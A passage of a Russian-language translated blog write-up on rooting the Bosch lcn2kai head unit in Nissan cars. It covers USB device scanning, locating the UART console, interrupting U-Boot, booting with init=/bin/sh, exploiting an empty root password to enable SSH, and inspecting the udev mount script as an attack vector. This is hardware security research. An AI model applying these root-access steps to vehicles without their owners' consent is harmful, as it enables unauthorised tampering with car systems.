Как стать автором
Обновить
2597.31
RUVDS.com
VDS/VPS-хостинг. Скидка 15% по коду HABR15

Взламываем головное устройство автомобиля Nissan

Время на прочтение22 мин
Количество просмотров17K
Автор оригинала: ea

В комплекте с моим Nissan Xterra поставлялось современное (на то время) головное устройство с сенсорным экраном, встроенной навигацией, дисплеем камеры заднего вида, мультимедийными функциями и возможностью подключения смартфона. Некоторые из самых продвинутых функций доступны только через приложение NissanConnect, требующее регистрации и подписки. Я никогда не пользовался им и даже не уверен, поддерживается ли оно сейчас.

Разве не здорово было бы добиться выполнения кода на устройстве и даже разрабатывать собственные расширения и приложения?

Среди прочего мне хотелось реализовать функцию простого логгера GPS-данных, и эта идея стала стимулом к выполнению реверс-инжиниринга и получения рута. В этой статье я расскажу о своей методике анализа системы, укажу возможную поверхность атаки, получу шелл при помощи физического доступа и воспользуюсь им, чтобы создать эксплойт, не требующий разборки приборной панели, и обеспечить чистый рут-доступ через ssh.

В статье также представлен код, позволяющий воспроизвести эти действия на вашем автомобиле, а также пример приложения, выполняющего задачу логирования GPS-данных. Однако здесь вы не найдёте абсолютно никакой информации по обходу механизмов DRM/защиты от копирования, особенно связанных с навигационными картами и онлайн-сервисами. Весь представленный в статье код и инструкции не дают никаких гарантий, воспроизводите их на собственный риск.

Автомобили с lcn2kai


Мне бы хотелось создать подробный список головных устройств и моделей автомобилей, подверженных багу, который мы будем использовать для получения рут-доступа к шеллу. Пока в этом списке есть множество моделей Nissan, начиная примерно с 2015 года и далее, включая Xterra, Rogue, Sentra, Altima, Frontier, а также несколько других коммерческих автомобилей Nissan. Учитывая то, что головное устройство изготовлено Bosch, есть вероятность, что такую же платформу можно найти во множестве других машин.

Проще говоря, если ваше головное устройство похоже на фотографию из начала статьи, то есть вероятность, что этот эксплойт (или его вариация) у вас сработает.

Пока я тестировал его только на моём Nissan Xterra 2015 года.

Во внутренней (и частично внешней) документации Bosch и Nissan называют это головное устройство lcn2kai, поэтому в дальнейшем и я его буду так обозначать. Если кто-то знает, что это значит, то напишите, пожалуйста, мне.

Список автомобилей и версий оборудования/прошивок ведётся здесь.

Поверхность атаки


В конечном итоге, мне бы хотелось получить рут на моей машине, не применяя отвёртку. Мне привычно разбирать устройства, но почему-то зачастую после сборки остаются лишние детали. Так что в первую очередь я буду искать уязвимости.

Судя по внешнему виду установленного в машине головного устройства, оно взаимодействует с внешним миром или через USB-разъём в подлокотнике/консоли, или через Bluetooth. USB-разъём нужен для считывания дополнительного мультимедийного контента с USB-флешки или из смартфона, а Bluetooth-подключение можно использовать для взаимодействия со смартфоном (воспроизведения музыки, звонков по громкой связи, приложения NissanConnect...). В идеале мне бы хотелось найти уязвимость исполнения кода, которую можно запустить одним из этих способов, без необходимости снятия головного устройства с панели приборов.

▍ Секретное меню


«Секретное» меню оператора можно открыть, нажав и удерживая кнопку App, затем повернув ручку TUNE на пару щелчков против часовой, затем по часовой стрелке, и снова против часовой стрелки. После ввода этого «чит-кода» открывается новое меню с кучей диагностических опций, информацией о версии головного устройства, а также с функцией обновления прошивки.


▍ Обновление прошивки


В статьях о джейлбрейке и рутинге других информационно-развлекательных автомобильных систем и головных устройств (например, в этом отличном посте о джейлбрейке Subaru Starlink) особое внимание уделяется обновлениям прошивок, потому что именно в таких случаях системы уязвимы сильнее всего.

На онлайн-форумах можно найти различные версии обновлений прошивки lcn2kai, полученные тем или иным способом. Головное устройство, с которым я работаю, не обновлялось с момента продажи, но важные для моей статьи части неизменны для всех версий.


Для обновления прошивки нужно подключить USB-флешку, содержащую новую версию прошивки, перейти в секретное меню, выбрать опцию обновления/апгрейда, а затем следовать инструкциям. После инициации процесса апгрейда система перезапускается в режиме апгрейда, выполняет тщательную криптографическую валидацию файлов апгрейда прошивки и только затем выполняет копирование/прошивку/обновление.

Хотя файлы и пакеты прошивки не зашифрованы, они имеют цифровую подпись. Все компоненты апгрейда прошивки (ядро, загрузчик, файловая система Linux...) хэшируются и подписываются стандартными криптографическими алгоритмами с открытым ключом; в целом система выглядит надёжной. Я аккуратно пытался не нарушать никакие DRM, поэтому решил оставить это на будущее, если ничто другое не поможет.

▍ Список USB-устройств


Открытый USB-разъём должен использоваться для загрузки гигабайтов MP3 на случай долгих поездок, для воспроизведения любимых песен со Spotify через смартфон или просто для зарядки через USB. Тем не менее, любопытно было бы узнать, есть ли у головного устройства драйверы и поддержка каких-то дополнительных устройств. Обычно используют следующую хитрость: подключают клавиатуру, надеясь, что это предоставит доступ к консоли.

Простой трюк для проверки поддержки клавиатуры (если внутри используется Linux) — это отправка последовательности нажатий Magic SysRq, чтобы проверить возможность перезагрузки системы. На lcn2kai это действительно работает, но оказывается, что клавиатура вообще не подключена к консоли. Так что хотя ядро обрабатывает нажатия SysRq, во всём остальном это бесполезно.

Можно попробовать подключать произвольные USB-устройства, которые у нас есть, но обычно их список довольно короткий. Более автоматизированным образом это можно сделать при помощи Facedancer и umap2. Facedancer может эмулировать различные USB-устройства, так что мы просто циклически перебираем значения VID и PID, чтобы понять, какие устройства поддерживает хост. У Umap2 есть скрипт umap2vsscan, который именно это и делает:

umap2vsscan -P fd:/dev/ttyUSB0 -d $UMAP2_DIR/data/vid_pid_db.py

Скрипт сканирует огромный список известных сочетаний VID и PID, а затем выводит соответствующее устройство (и драйвер Linux, из которого взяты VID/PID). Так как это может занять довольно долгое время, мы можем немного отфильтровать этот список, чтобы искать только интересующее нас. По сути, есть только два типа устройства, поддержка которых меня интересует: адаптер TTL2USB (например, последовательные кабели FTDI), который каким-то образом может быть подключён к последовательной консоли через udev или что-то подобное, или сетевой USB-адаптер, который в идеале может конфигурироваться автоматически или получать адрес через DHCP. Отредактировав список umap2 и оставив в нём только эти типы, мы получаем примерно тысячу устройств; их перебор вполне можно выполнить за разумное время, только будьте внимательны и не разрядите аккумулятор автомобиля, ожидая завершения работы скрипта.

Подождав, мы получаем следующий результат:

[ALWAYS] Found 1 supported device(s) (out of 1098):
[ALWAYS] 0. vid:pid 077b:2226, vendor: Linksys, product: USB200M 100baseTX Adapter,
driver: drivers/net/usb/asix_devices.c, info: device not reached set configuration state

Отличные новости! Драйвер asix_devices.c используется очень популярным USB-адаптером Ethernet. Велика вероятность, что в ближайшем магазине электроники вы сможете купить нечто подобное за $10. Я выяснил, что мне подойдёт вот такой:


Чтобы перед покупкой убедиться, что USB-адаптер Ethernet действительно поддерживает драйвер asix_devices, можно поискать на сайте производителя драйверы для Linux. Хотя они практически бесполезны, потому что встроены в каждый дистрибутив Linux, часто можно найти tarball с драйверами, которые использует устройство.

Теперь нужно проверить, сработает ли это. Подключаем USB-адаптер Ethernet к USB-разъёму машины, соединяемся кабелем Ethernet с ноутбуком и видим, как включаются светодиоды! Похоже, устройство инициализировано, но DHCP-запросов нет. Выполнив сниффинг сети при помощи Wireshark, можно обнаружить, что кто-то отправляет пакеты с IP-адреса 172.17.0.1. Более того, похоже, он отправляет пакеты TCP SYN на порт 7000 с целевым адресом 172.17.0.5. Кажется, lcn2kai ожидает, что другому концу Ethernet-соединения будет присвоен адрес 172.17.0.5; действительно, если настроить на ноутбуке для порта Ethernet этот статический IP, всё начинает работать. Запустив netcat для прослушивания порта 7000, мы получим подключение из lcn2kai, отправляющее двоичные данные. Позже выяснится, что это часть фреймворка трассировки, вероятно, используемого для упрощения отладки при разработке.

На этом этапе я надеялся найти сервер, прослушивающий какой-нибудь порт, чтобы использовать его в качестве точки для атаки, но мне не повезло. Отсканировав устройство при помощи Nmap, я выяснил, что все порты, кроме одного, заблокированы фаерволлом. Этим единственным портом оказался 22 для SSHd, но хотя он и не заблокировал фаерволлом, его никто не прослушивает. Но это всё равно хорошо. Это значит, что у нас будет удобный способ подключения к системе после того, как мы включим SSH-сервер.

Закопаемся глубже


Я исследовал ещё несколько очевидных способов атак, надеясь случайно наткнуться на золотую жилу. В том числе я пытался инъецировать команды при помощи имён файловой системы, ID Bluetooth телефона, специальных файлов на накопителях… Ничто из этого напрямую не сработало. Настало время протестировать устройство и взглянуть внутрь, чтобы получить шелл при помощи физического доступа.

Головные устройства lcn2kai можно легко найти на eBay. Если они сняты из разбитой машины или в них не хватает одной-двух кнопок, то они достанутся вам довольно задёшево. Именно так я и поступил. Через пару дней устройство доставили.


Запитать устройство было очень легко. Ему нужно 12 В и максимум чуть больше 1 А, так что вполне подойдёт большинство стандартных источников питания. Чтобы включить устройство, кроме подключения Vcc и GND необходимо подключить контакт Ignition к Vcc.


Кроме питания нужно разобраться с USB-разъёмом. Если вам повезёт, то при покупке с eBay вы получите и кабельный жгут. Мне не повезло.

Разобрав устройство, мы увидим, что самые важные части находятся внизу, а корпус из листового металла служит большим радиатором.


На плате можно выделить множество групп компонентов. Слева находится интегральная схема STMicro FM/AM/audio, посередине — Maxim GPS и, вероятно, Altera для SiriusXM? Похоже, основной CPU — это ARM, изготовленный NEC. Не смог найти спецификацию конкретно для этого процессора; позже мы соберём чуть больше информации. Прямо рядом с основным CPU есть две незанятые контактные площадки. Верхняя из двух совпадает по расположению с закрытым отверстием в нижней части металлического корпуса; скорее всего, она должна быть занята отладочными контактами и использоваться при разработке.


▍ Ищем последовательную консоль


Ни на одной из сторон платы не нашлось никаких полезных надписей, но две незанятых площадки — вероятно, подходящее место для поиска UART. Имея осциллограф, можно просто прижимать щуп к контактам и отключать-включать устройство, пока не найдём что-то, похожее на данные. Путём проб и ошибок я быстро нашёл контакт TX последовательной консоли (оранжевый провод на фото). Найти контакт RX сложнее, но можно подключить USB/последовательный адаптер и написать скрипт, отправляющий символы на его контакт TX. С другой стороны, если устройство запущено, а контакт TX молчит, можно просто удерживать на нём щуп. Если нам повезёт, в консоли включено эхо и после нахождения контакта RX данные снова будут отображаться на TX. Снова путём проб и ошибок (и благодаря терпению) можно найти RX (синий провод на фото). Дальше нужно угадать скорость в бодах, для чего достаточно попробовать различные стандартные значения (не забудьте сначала заземлить последовательный USB-адаптер, чтобы обеспечить надлежащее заземление устройства).

Дополнение: оказалось, что контакты TX и RX подключены к разъёму кабельного жгута автомобиля, помеченному на этом изображении:


Это сильно упростит доступ к ним, ведь нет необходимости вскрывать корпус. Похоже, что снаружи контакты TX/RX намеренно обрезаны, чтобы они не соединялись с обычным кабельным жгутом, но проблему можно решить пружинным зажимом.

Консоль Lcn2kai работает на скорости 115200 бод; подключившись к ней и включив устройство, мы видим следующий лог загрузки:

[    0.009674]
[    0.009698] U-Boot 2010.03-00391-gf3b3496 (May 15 2014 - 16:53:57) for NEC NEmid
[    0.009754]
[    0.009772] (C) 2009-2010 Robert Bosch Car Multimedia, CM-AI/PJ-CF32, Dirk Behme
[    0.009830] CPU:      MPCore at 400MHz
[    0.009866] U-Boot    #1 (env @ 0x40080000)
[    0.009904] Board:    NEmid based LCN2kai TSB4 Sample (1G) board
[    0.009954] Board ID: 0x3007 (#1)
[    0.011105] DRAM:   1 GB
[    0.011185] PRAM cleared
[    0.011208] Reset Counter cleared
[    0.011238] Reset Counter has the value 0
[    0.011962] Flash: S-Die
[    0.012041] Flash: 64 MB
[    0.012073] *** Warning - bad CRC, using default environment
[    0.012117]
[    0.012538] In:    serial
[    0.012563] Out:   serial
[    0.012587] Err:   serial
[    0.014028] Reset Counter cleared
[    0.014063] Reset Counter cleared
[    0.014509] Net:   No ethernet found.
[    0.014592] Hit any key to stop autoboot:  0
[    0.017803] ## Booting kernel from Legacy Image at 40920000 ...
[    0.017889]    Image Name:   triton_min_dualos
[    0.017926]    Image Type:   ARM RbcmRTOS Kernel Image (uncompressed)
[    0.017987]    Data Size:    1294164 Bytes =  1.2 MB
[    0.018040]    Load Address: 80000000
[    0.018074]    Entry Point:  80000290
[    0.018140]    Loading Kernel Image ... OK
[    0.050506] OK
[    0.050965]
[    0.050978] Starting guest OS ...
[    0.051045] ## Booting kernel from Legacy Image at 40220000 ...
[    0.051146]    Image Name:   Linux-2.6.34.13-02018-g843e5c6
[    0.051192]    Image Type:   ARM Linux Kernel Image (uncompressed)
[    0.051253]    Data Size:    2076344 Bytes =  2 MB
[    0.051306]    Load Address: 86000000
[    0.051341]    Entry Point:  86000000
[    0.051389]    Loading Kernel Image ... OK
[    0.116345] OK
[    0.236196]
[    0.236213] Starting kernel ...
[    0.236239]
Uncompressing Linux... done, booting the kernel.

Отлично, мы чего-то добились. Из этого можно извлечь множество полезной информации. Во-первых, как и ожидалось, для запуска системы используется U-Boot. Похоже, NEC Nemid — это название базовой платформы. CPU — это MPCore с частотой 400 МГц, двухъядерный. Любопытно, что при запуске операционной системы сначала, похоже, запускается ОСРВ (RTOS), за которой следует Linux. Образ RTOS имеет имя triton_min_dualos; поискав, можно выяснить, что она основана на T-Kernel или Tron — операционной системе реального времени, популярной у японских производителей.

Такая схема довольно логична — RTOS для работы с чувствительными к таймингам вещам наподобие данных шины CAN и обычная ОС (Linux) для работы с UI, сетью, мультимедиа…

▍ Рут через UBoot и SSH


Теперь, когда у нас есть доступ к консоли, можно позволить системе запуститься полностью. После запуска Linux обычная система init запускает множество сервисов, но потом не оказывается в шелле. Мы по-прежнему не можем взаимодействовать с ним. Однако отметим, что в приведённом выше bootlog есть строка Hit any key to stop autoboot: 0. Обычно в U-Boot настроен короткий таймаут для ожидания нажатия любой клавиши и прерывания стандартного процесса запуска. В данном случае таймаут равен 0, поэтому процесс запуска начинается сразу, но в некоторых случаях его всё равно можно прервать. Можно попытаться бить по клавиатуре, чтобы отправить данные на последовательный порт при включении устройства, надеясь прервать процесс запуска, но обычно помогает следующая однострочная команда:

cat /dev/zero > /dev/ttyUSB0

Выполнив её в терминале, включив питание, остановив команду и подключившись через miniterm, мы увидим что-то подобное:

[    0.012538] In:    serial
[    0.012563] Out:   serial
[    0.012587] Err:   serial
[    0.014028] Reset Counter cleared
[    0.014063] Reset Counter cleared
[    0.014509] Net:   No ethernet found.
[    0.014592] Hit any key to stop autoboot:  0
[    0.017881] NEMID # 

Это переносит нас в шелл U-Boot, что даёт нам шанс подробнее изучить окружение и изменить процесс запуска нужным нам образом. Вот как выглядит окружение и доступные команды:

[   22.754025] bdinfo  - print Board Info structure
[   22.754068] bootm   - boot application image from memory
[   22.754117] bootp   - boot image via network using BOOTP/TFTP protocol
[   22.754173] cmp     - memory compare
[   22.754209] coninfo - print console devices and information
[   22.754258] cp      - memory copy
[   22.754291] crc32   - checksum calculation
[   22.754330] echo    - echo args to console
[   22.754370] em_trace- display error memory entries in PRAM
[   22.754419] erase   - erase FLASH memory
[   22.754456] exit    - exit script
[   22.754490] false   - do nothing, unsuccessfully
[   22.754533] fatinfo - print information about filesystem
[   22.754581] fatload - load binary file from a dos filesystem
[   22.754632] fatls   - list files in a directory (default /)
[   22.754682] flinfo  - print FLASH memory information
[   22.754728] go      - start application at address 'addr'
[   22.754777] help    - print command description/usage
[   22.754823] imxtract- extract a part of a multi-image
[   22.754870] loop    - infinite loop on address range
[   22.754915] md      - memory display
[   22.754950] mii     - MII utility commands
[   22.754989] mm      - memory modify (auto-incrementing address)
[   22.755041] mtest   - simple RAM read/write test
[   22.755084] mw      - memory write (fill)
[   22.755123] nm      - memory modify (constant address)
[   22.755170] pci     - list and access PCI Configuration Space
[   22.755221] printenv- print environment variables
[   22.755265] protect - enable or disable FLASH write protection
[   22.755318] rarpboot- boot image via network using RARP/TFTP protocol
[   22.755374] reset   - Perform RESET of the CPU
[   22.755417] run     - run commands in an environment variable
[   22.755468] saveenv - save environment variables to persistent storage
[   22.755525] setenv  - set environment variables
[   22.755571] setrtosaddr- set the RAM entry address for the RTOS (autoselected based on the board ID)
[   22.755646] showvar - print local hushshell variables
[   22.755693] sleep   - delay execution for some time
[   22.755737] source  - run script from memory
[   22.755778] startguestos- start guest OS on CPU #2
[   22.755823] startsingleRTOS- start RTOS as single os from flash
[   22.755875] test    - minimal test like /bin/sh
[   22.755918] tftpboot- boot image via network using TFTP protocol
[   22.755971] true    - do nothing, successfully
[   22.756013] update  - perform a recovery update
[   22.756055] usb     - USB sub-system
[   22.756090] usbboot - boot from USB device
[   22.756129] version - print monitor version
[   22.756576] NEMID # printenv
[   27.528646] bootargs=reset
[   27.528675] bootcmd=run setbootargs; if bootm start 0x40920000; then setrtosaddr; bootm loados; startguestos; fi; bootm
[   27.528769] bootdelay=0
[   27.528795] baudrate=115200
[   27.528823] loadaddr=0x40220000
[   27.528854] usbstortimeout=5
[   27.528883] verify=no
[   27.528906] cores=2
[   27.528929] ipaddr=172.17.0.1
[   27.528959] serverip=172.17.0.6
[   27.528990] rootdev2=mmcblk0p2 ro
[   27.529023] rootdev=mmcblk0p1 ro
[   27.529054] uboot=u-boot.bin
[   27.529083] linux=uImage
[   27.529109] dualos=triton_dualos.bin.uimage
[   27.529149] dualosmin=triton_min_dualos.bin.uimage
[   27.529193] rfd=rfd_file.bin
[   27.529222] ramdisk=uInitramfs
[   27.529253] xtargs=quiet ohci-hcd.distrust_firmware=0
[   27.529299] norfsfld=norfs_filled.bin
[   27.529335] norfsmpt=norfs_empty.bin
[   27.529369] panic=1
[   27.529392] panic_on_oops=1
[   27.529420] nfsroot=/opt/bosch/y/di_projects/generated/target_rootfs
[   27.529477] nfsboot=setenv rootdev nfs rw nfsroot=${serverip}:${nfsroot} ip=${ipaddr};saveenv;reset
[   27.529557] bootchart=setenv xtargs ${xtargs} initcall_debug printk.time=y init=/sbin/bootchartd;saveenv; reset
[   27.529644] startusb=usb start; setenv startusb echo 'USB started'
[   27.529700] setfatload=setenv loader fatload usb 0:1 0x80000000 ${loadfile}
[   27.529762] setftpload=setenv loader tftp 0x80000000 ${loadfile}
[   27.529817] setnorloader=echo 'no loader defined'
[   27.529861] flshb=if run loader; then protect off 0x40020000 +${filesize};erase 0x40020000 +${filesize};cp.b 0x80000000 0x40020000 ${filesize};protect off 0x40160000 +${filesize};erase 0x40160000 +${filesize};cp.b 0x80000000 0x40160000 ${filesize};fi
[   27.530047] flshkrnl=if run loader; then erase 0x40220000 +${filesize};cp.b 0x80000000 0x40220000 ${filesize};fi
[   27.530135] flshdls=if run loader; then erase 0x40920000 +${filesize};cp.b 0x80000000 0x40920000 ${filesize};fi
[   27.530223] flshdls2=if run loader; then erase 0x41020000 +${filesize};cp.b 0x80000000 0x41020000 ${filesize};fi
[   27.530312] flshdlsmin=if run loader; then erase 0x40920000 +${filesize};cp.b 0x80000000 0x40920000 ${filesize};fi
[   27.530401] flshrfd=if run loader; then erase 0x40B20000 +${filesize};cp.b 0x80000000 0x40B20000 ${filesize};fi
[   27.530489] flshffs=if run loader; then erase 0x41940000 +${filesize};cp.b 0x80000000 0x41940000 ${filesize};fi
[   27.530577] handle_norfs=erase 0x41940000 0x41afffff
[   27.530623] norfs_default=setenv handle_norfs erase 0x41940000 0x41afffff
[   27.530684] norfs_untouch=setenv handle_norfs echo norfs-untouched
[   27.530740] norfs_empty=setenv handle_norfs run ffsmpt
[   27.530787] norfs_filled=setenv handle_norfs run ffsfld
[   27.530835] ffsmpt=echo 'ffsmpt';setenv loadfile ${norfsmpt};run setnorloader; run flshffs
[   27.530908] ffsfld=echo 'ffsfld';setenv loadfile ${norfsfld};run setnorloader;run flshffs
[   27.530980] bootup=echo 'bootup';run startusb;setenv loadfile ${uboot};run setfatload;run flshb
[   27.531057] kernup=echo 'kernup';run startusb;setenv loadfile ${linux};run setfatload;run flshkrnl
[   27.531135] dualosup=echo 'dualosup';run startusb;setenv loadfile ${dualos};run setfatload;run flshdls
[   27.531216] dualosup2=echo 'dualosup2';run startusb;setenv loadfile ${dualos};run setfatload;run flshdls2
[   27.531300] dualosminup=echo 'dualosminup';run startusb;setenv loadfile ${dualosmin};run setfatload;run flshdls
[   27.531388] rfdup=echo 'rfdup';run startusb;setenv loadfile ${rfd};run setfatload;run flshrfd
[   27.531463] tftpu=run startusb;setenv loadfile ${uboot};run setftpload;run flshb
[   27.531529] tftpk=run startusb;setenv loadfile ${linux};run setftpload;run flshkrnl
[   27.531597] tftpd=run startusb;setenv loadfile ${dualos};run setftpload;run flshdls
[   27.531665] tftpd2=run startusb;setenv loadfile ${dualos};run setftpload;run flshdls2
[   27.531734] tftpm=run startusb;setenv loadfile ${dualosmin};run setftpload;run flshdls
[   27.531804] tftpr=run startusb;setenv loadfile ${rfd};run setftpload;run flshrfd
[   27.881598] fatupdate=run clearenv;run bootup;run kernup;run dualosminup;run rfdup;setenv setnorloader ${setfatload};run handle_norfs
[   27.881701] tftpupdate=run clearenv;run tftpu;run tftpk;run tftpm;run tftpr;setenv setnorloader ${setftpload};run handle_norfs
[   27.881800] oldupdate=run fatupdate;setenv xtargs ${xtargs} update=fat;run usbrec1
[   27.881867] fastupdate=setenv linux uImage-fastboot;run fatupdate;setenv xtargs ${xtargs} update=fat;setenv linux uImage;run usbrec1
[   27.881970] fatld_uboot=run bootup
[   27.882003] fatld_kernel=run kernup
[   27.882037] fatld_dualosmid=run dualosup
[   27.882075] fatld_dualosmid2=run dualosup2
[   27.882114] fatld_dualosmin=run dualosminup
[   27.882153] fatld_rfd=run rfdup
[   27.882184] fatld_ffsmpt=run startusb;setenv setnorloader ${setfatload};run norfs_empty;run handle_norfs
[   27.882267] fatld_ffsfld=run startusb;setenv setnorloader ${setfatload};run norfs_filled;run handle_norfs
[   27.882351] fatld_ffskill=run norfs_default; run handle_norfs
[   27.882403] tftp_uboot=run tftpu
[   27.882435] tftp_kernel=run tftpk
[   27.882468] tftp_dualosmid=run tftpd
[   27.882502] tftp_dualosmid2=run tftpd2
[   27.882539] tftp_dualosmin=run tftpm
[   27.882573] tftp_rfd=run tftpr
[   27.882604] tftp_ffsmpt=setenv setnorloader ${setftpload};run norfs_empty;run handle_norfs
[   27.882677] tftp_ffsfld=setenv setnorloader ${setftpload};run norfs_filled;run handle_norfs
[   27.882750] tftp_ffskill=run norfs_default; run handle_norfs
[   27.882802] usbrecover=run setbootargs; update /
[   27.882845] usbdhcprecover=setenv xtargs ${xtargs} update=fab_dhcp; run usbrecover
[   27.882913] usbrec1=run startusb;run setbootargs;if fatload usb 0:1 0x85A00000 ${linux}; then setenv uid 0;elif fatload usb 1:1 0x85A00000 ${linux};then setenv uid 1; else run usbrecf; fi; run usbrec2
[   27.883063] usbrec2=if fatload usb ${uid}:1 0x85000000 ${ramdisk};then if fatload usb ${uid}:1 0x82000000 ${dualos};then run usbrec3; fi; fi; run usbrecf
[   27.883181] usbrec3=if bootm start 0x82000000; then setrtosaddr;if bootm loados; then startguestos;;bootm 0x85A00000 0x85000000; fi; fi; run usbrecf
[   27.883295] usbrecf=echo *** USB recovery download FAIL, stopping ***
[   27.883353] setbootargs=setenv bootargs console=${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handler=1 ${xtargs}
[   27.883521] update=run clearbootconfig;run bootup;setenv bootcmd 'run fatupdate; run clearenv; setenv xtargs ${xtargs} update=fat;run setbootargs;run usbrec1';saveenv; reset
[   27.883652] clearresetcounter=mw ffffff14 0
[   27.883692] exitrecovery=setenv bootcmd ${bootcmd_default}; run clearresetcounter
[   27.883758] clearbootconfig=erase 0x400e0000 +1
[   27.883801] clearenv=protect off 0x40080000 +12288;erase 0x40080000 +12288;protect off 0x401C0000 +12288;erase 0x401C0000 +12288
[   27.883901] mrpropper=run exitrecovery;run clearbootconfig;run clearenv
[   27.883961] bootcmd_default=run setbootargs; if bootm start 0x40920000; then setrtosaddr; bootm loados; startguestos; fi; bootm
[   27.884060] stdin=serial
[   27.884086] stdout=serial
[   27.884112] stderr=serial
[   27.884139] console=ttyS0
[   27.884166] linuxmem=768M
[   27.884196]
[   27.884213] Environment size: 5891/131068 bytes

Здесь мы видим множество полезных данных, которые пригодятся нам в дальнейших исследованиях. Наиболее примечательно то, что это позволяет нам увидеть конфигурацию запуска и то, как мы можем изменить её, чтобы получить шелл. Достаточно поменять bootargs следующим образом:

setenv bootargs console=${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handler=1 4 init=/bin/sh

Bootargs практически не поменялись, но обратите внимание на последнюю часть: init=/bin/sh. Она приказывает процессу запуска начинать только с шелла, а не исполнять init целиком. Давайте проверим, сработает ли это:

[    5.225918] NEMID # setenv bootargs console=${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handler=1 4 init=/bin/sh
[   14.706586] NEMID #
[   14.707033] NEMID # bootm
[   16.542428] ## Booting kernel from Legacy Image at 40220000 ...
[   16.542532]    Image Name:   Linux-2.6.34.13-02018-g843e5c6
[   16.542581]    Image Type:   ARM Linux Kernel Image (uncompressed)
[   16.542642]    Data Size:    2076344 Bytes =  2 MB
[   16.542695]    Load Address: 86000000
[   16.542731]    Entry Point:  86000000
[   16.542782]    Loading Kernel Image ... OK
[   16.594394] OK
[   16.600193]
[   16.600213] Starting kernel ...
[   16.600241]
Uncompressing Linux... done, booting the kernel.
...
...
...
   18.093432] VFP support v0.3: implementor 41 architecture 1 part 20 variant b rev 4
[   18.102415] registered taskstats version 1
[   18.122718] EXT4-fs (mmcblk0p1): mounted filesystem with ordered data mode
[   18.130022] VFS: Mounted root (ext4 filesystem) readonly on device 179:1.
[   18.146750] devtmpfs: mounted
[   18.149942] Freeing init memory: 148K
/bin/sh: can't access tty; job control turned off
/ # ls
bin	      etc		   lib	       opt		share	usr
boot	      home		   lost+found  proc		shared	var
cc_label.txt  include		   media       rfs_version.txt	sys
dev	      lcn2kai_version.txt  mnt	       sbin		tmp
/ #
/ # id
uid=0(root) gid=0(root)
/ #

Прекрасное зрелище! Однако прежде что-нибудь не сломалось, нам нужно включить доступ к шеллу. Так как мы уже знаем, что можем подключиться по сети при помощи USB-адаптера Ethernet, нам отлично подойдёт SSH-сервер. Давайте сначала кое-что проверим. Во-первых, что находится в /etc/password:

/ # cat passwd
root::0:0:root:/home/root:/bin/sh
...

Как нам повезло — похоже, для рут-пользователя не установлен пароль! Взглянув на sshd_config, мы (среди прочего) видим:

PermitEmptyPasswords yes

То есть нам даже не нужно с этим возиться. Кроме того, вспомним, что сканы nmap показывают, что порт 22 не фильтровался. Можно проверить это при помощи iptables -L , или взглянув на init.d/firewall.sh:

-A INPUT -s 172.17.0.0/16 -d 172.17.0.0/16 -p tcp -m tcp --sport 513:65535 --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT

Показанная выше строка, по сути, разрешает SSH-соединения, а другие правила блокируют всё остальное. Идеально. Теперь чтобы включить доступ к шеллу через SSH, нам достаточно отредактировать скрипт init.d так, чтобы при запуске системы выполнялся sshd. Похоже, основной скрипт, управляющий инициализацией, находится в /etc/init.d/fastboot/prj_boschinit.sh, так что если просто добавить в конец следующую команду, он запустит sshd:

/etc/init.d/sshd start
#just start actuall login session, just in case 
/bin/login

На этом этапе файловая система доступна только для чтения, но может быть перемонтирована с RW командой mount -o remount,rw /, что позволит нам сохранить файловую систему. Исполним один-два раза sync, скрестим пальцы и перезапустимся!

После запуска системы и конфигурирования сети, если всё пройдёт гладко, мы сможем залогиниться через ssh:

$ ssh root@172.17.0.1
!! The root file system is READ-ONLY !!
root@(none):~#

Как говорят хакеры в фильмах, «мы внутри».

Удобная уязвимость и неинвазивный эксплойт


Итак, нам удалось получить шелл на тестовом устройстве, находящемся на моём стенде. Это замечательно, но, как я сказал в предисловии, мне бы хотелось по возможности не разбирать для этого панель приборов. Могу только представить, что там куча пластмассовых защёлок, часть которых я неизбежно сломаю и потом всё будет постоянно болтаться… Было бы здорово, если бы теперь мы воспользовались доступом к шеллу, чтобы найти способ получить шелл более удобным способом.

Как говорилось выше, поверхность атаки практически не изменилась (самые очевидные векторы — это USB-разъём и Bluetooth), но теперь мы можем изучить, как работает система. Я не буду рассказывать в подробностях всё то, что я попробовал, но в целом процесс очень напоминал старые варгеймы в шелле, в которых вы ищете способ повысить свои привилегии.

Одно из направлений атаки — это поддержка USB-флешек для воспроизведения музыки. Как и можно ожидать от любого головного устройства, после подключения флешки система автоматически монтирует её и ищет на ней поддерживаемое мультимедиа. Это можно сделать множеством способов, и ещё больше способов испортить эту функциональность, так что было бы неплохо изучить, как это делает lcn2kai.

В Linux можно начать изучение со скриптов UDEV. И в самом деле, в etc/udev/scripts мы находим следующее:

root@bosch-nemid:/etc/udev/scripts# ls
monitor.sh  mount.sh  network.sh  not_mount.sh	trace_proxy.sh

Всё это даёт нам понять, как ведёт себя система в целом, но мы углубимся в изучение mount.sh. Как и ожидалось, это довольно простой скрипт, вызываемый при обнаружении устройства mass media USB, чтобы определить его файловую систему и смонтировать его в соответствующее место. Приведу важную часть кода:

automount() {
    if [ -z "${ID_FS_TYPE}" ]; then
	logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
	return
    fi

    # Determine the name for the mount point.  First check for the
    # uuid, then for the label and then for a unique name.
    if [ -n "${ID_FS_UUID}" ]; then
	mountdir=${ID_FS_UUID}
    elif [ -n "${ID_FS_LABEL}" ]; then
	mountdir=${ID_FS_LABEL}
    else
	mountdir="disk"
	while [ -d $MOUNTPT/$mountdir ]; do
	    mountdir="${mountdir}_"
	done
    fi
...
...
...
   result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

